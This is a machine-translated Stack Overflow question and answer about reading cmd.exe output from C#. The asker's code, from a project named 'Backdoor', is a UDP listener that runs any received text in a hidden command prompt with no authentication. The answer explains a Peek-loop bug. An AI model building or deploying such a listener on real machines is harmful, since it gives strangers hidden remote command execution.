【问题标题】:C# Supplying Commands to Process with StandardInput and Reading Output with StandardOutputC# 提供命令以使用 StandardInput 进行处理并使用 StandardOutput 读取输出
【发布时间】:2015-03-09 05:48:22
【问题描述】:

我的任务是在 C# 中实现交互式 shell,但遇到了一些复杂情况。我已经用 Java 完成了这个确切的项目,并使用了 ProcessBuilder 类,这让事情变得简单。

我现在遇到的问题是读取进程的标准输出。我正在使用标准输入向 shell 提供命令。

using System;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Diagnostics;

class EntryPoint
{
static void Main(string[] args)
{
    IPAddress ip = null;
    foreach (IPAddress addr in Dns.GetHostEntry(Dns.GetHostName()).AddressList)
    {
        if (addr.AddressFamily.Equals(AddressFamily.InterNetwork))
            ip = addr;
    }
    const int port = 7777;
    try
    {
        UdpClient socket = new UdpClient(new IPEndPoint(ip, port));
        IPEndPoint rcvEndPoint = new IPEndPoint(IPAddress.Any, port);
        Console.WriteLine("Listening on " + ip + ":" + port);
        bool listening = true;

        while (listening)
        {
            byte[] data = socket.Receive(ref rcvEndPoint);
            string command = Encoding.UTF8.GetString(data);
            if (command.ToLower().Equals("exit"))
            {
                listening = false;
                continue;
            }
            //startInfo.Arguments = "/C" + command;
            string output = RunCommand(command);
            Console.WriteLine(output);
        }
    }
    catch (Exception e)
    {
        Console.WriteLine("Error: " + e.ToString());
        Console.WriteLine("Press Enter to Exit...");
        Console.Read();
    }
}

private static string RunCommand(string command)
{
    Process process = new Process();
    process.StartInfo = new ProcessStartInfo()
    {
        WindowStyle = ProcessWindowStyle.Hidden,
        CreateNoWindow = true,
        FileName = "cmd.exe",
        UseShellExecute = false,
        RedirectStandardOutput = true,
        RedirectStandardInput = true
    };
    process.Start();
    process.StandardInput.WriteLine(command);
    while (process.StandardOutput.Peek() >= 0)
    {
        Console.WriteLine(process.StandardOutput.ReadLine());
    }
    return "";
}
}

我遇到的问题源于 StandardInput.WriteLine() 或 StandardOutput.ReadLine()。每当我向进程发送诸如“chdir”之类的命令时,我都会通过读取标准输出获得以下输出:

Microsoft Windows [版本...数字...]

(c) 2013 ...版权内容

-- 空行--

C:\Users\Nick\Desktop\Backdoor\Backdoor\bin\Debug>chdir

仅此而已。对于命令提示符,该输出的每一点都是正常的,但是缺少命令的实际执行。当运行不带参数的 chdir 命令时,人们会期望提示打印当前工作目录。 StandardInput 未执行命令或 StandardOutput 未读取所有输出。

有人有什么见解吗?谢谢!

【问题讨论】:

    标签: c# .net shell process console


    【解决方案1】:

    Process.StandardOutput.Peek 返回一个非负数时,您只是在循环。如果没有要读取的字符,则 Peek 返回 -1 并且您的循环终止。如果您的程序使用版权/提示文本和chdir 命令的输出之间有一点延迟,那么您的循环将退出并且您将看不到整个输出。

    在 MSDN 中为 synchronous readingasynchronous reading 描述了从进程的标准输出流中读取的正确方法。您可能想使用异步技术,因为您可能还想从标准错误中读取,所以我建议从那里开始。

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 2018-11-13
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2011-10-30
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多